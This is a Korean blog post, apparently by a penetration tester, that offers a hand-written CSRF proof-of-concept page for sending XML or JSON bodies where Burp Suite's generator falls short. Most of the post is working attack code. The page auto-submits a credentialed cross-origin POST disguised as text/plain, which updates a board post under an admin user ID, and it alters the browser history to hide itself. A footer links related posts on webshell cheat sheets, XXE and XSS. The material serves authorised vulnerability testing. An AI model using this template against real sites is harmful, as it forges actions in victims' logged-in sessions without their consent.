취약점 점검 시, 취약점 항목인 CSRF 에 대해 확인하는 경우가 존재한다.
해당 취약점에 대해서 CORS 나 tokken 을 사용하지 않는 경우 확인해보고는 하는데, 이때 Burpsuite Pro 의 기능인 CSRF Poc Generate 를 이용하면 되지만 해당 기능을 이용하면 한글 깨짐 문제도 존재하고 JSON 이나 XML 형태의 요청 값을 전달하는 경우 굉장히 난감한 경우가 생기기 떄문에 보다 편하게 사용할 수 있도록 JSON 및 XML 형식 데이터를 보낼 수 있는 코드를 작성했다.
<html>
<head>
<title>CSRF Test</title>
</head>
<body>
<p>
CSRF Testing (Use Javascript)
</p>
<script>
function sendRequest() {
var xhr = new XMLHttpRequest();
var url = '[마스킹된_URL]';
var data = '<?xml version="1.0" encoding="UTF-8"?>
<Root xmlns="[마스킹된_URL]">
<Parameters>
<Parameter id="L-VISITOR"></Parameter>
<Parameter id="LENA-UID"></Parameter>
<Parameter id="SCOUTER"></Parameter>
<Parameter id="ACT_PARAM">updateSvcSave</Parameter>
<Parameter id="MENUCODE">ABC381310</Parameter>
<Parameter id="APPCODE">ABC</Parameter>
<Parameter id="USERID">[마스킹된_사용자ID]</Parameter>
<Parameter id="LANG">KO</Parameter>
<Parameter id="WCODE">[마스킹된_WCODE]</Parameter>
<Parameter id="LOGWRITE_YN">Y</Parameter>
</Parameters>
<Dataset id="ds_in">
<ColumnInfo>
<Column id="BD_NO" type="bigdecimal" size="39" />
<Column id="BD_CONTENT" type="string" size="2000" />
<Column id="BD_USER_ID" type="string" size="50" />
<Column id="BD_SUBJ" type="string" size="200" />
<Column id="BD_REG_DATE" type="string" size="10" />
<Column id="BD_SRCH_CNT" type="bigdecimal" size="39" />
<Column id="BD_FILE_ID" type="string" size="150" />
<Column id="BD_FILE_NM" type="string" size="100" />
</ColumnInfo>
<Rows>
<Row>
<Col id="BD_NO">10064</Col>
<Col id="BD_CONTENT">CSRF Test.</Col>
<Col id="BD_USER_ID">admin</Col>
<Col id="BD_SUBJ">[Security] Penetration Testing Board</Col>
<Col id="BD_REG_DATE">2000-00-00</Col>
<Col id="BD_SRCH_CNT">17</Col>
</Row>
</Rows>
</Dataset>
<Dataset id="inputFile">
<ColumnInfo>
<Column id="BD_FILE_NM" type="STRING" size="256" prop="default" />
<Column id="BD_FILE_PATH" type="BLOB" size="256" prop="default" />
</ColumnInfo>
<Rows>
</Rows>
</Dataset>
</Root>';
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-Type', 'text/plain');
xhr.withCredentials = true;
xhr.send(data);
}
history.pushState('', '', '/');
sendRequest();
</script>
</body>
</html>
해당 코드는 대상 페이지 내 데이터를 XML 형태의 요청하는 경우의 예제이며 <script> 태그 내 var 변수에 전달하려는 XML 본문이 작성된다.
'Attack Code > WEB' 카테고리의 다른 글
WebShell - Cheetsheat (asp) (0) | 2025.01.23 |
---|---|
XXE Code in XLSX (0) | 2025.01.17 |
Web Editor Default Page Location (0) | 2023.08.24 |
Webshell - Cheetsheat (jsp/jspx) (0) | 2023.08.22 |
XSS Pattern (0) | 2023.08.22 |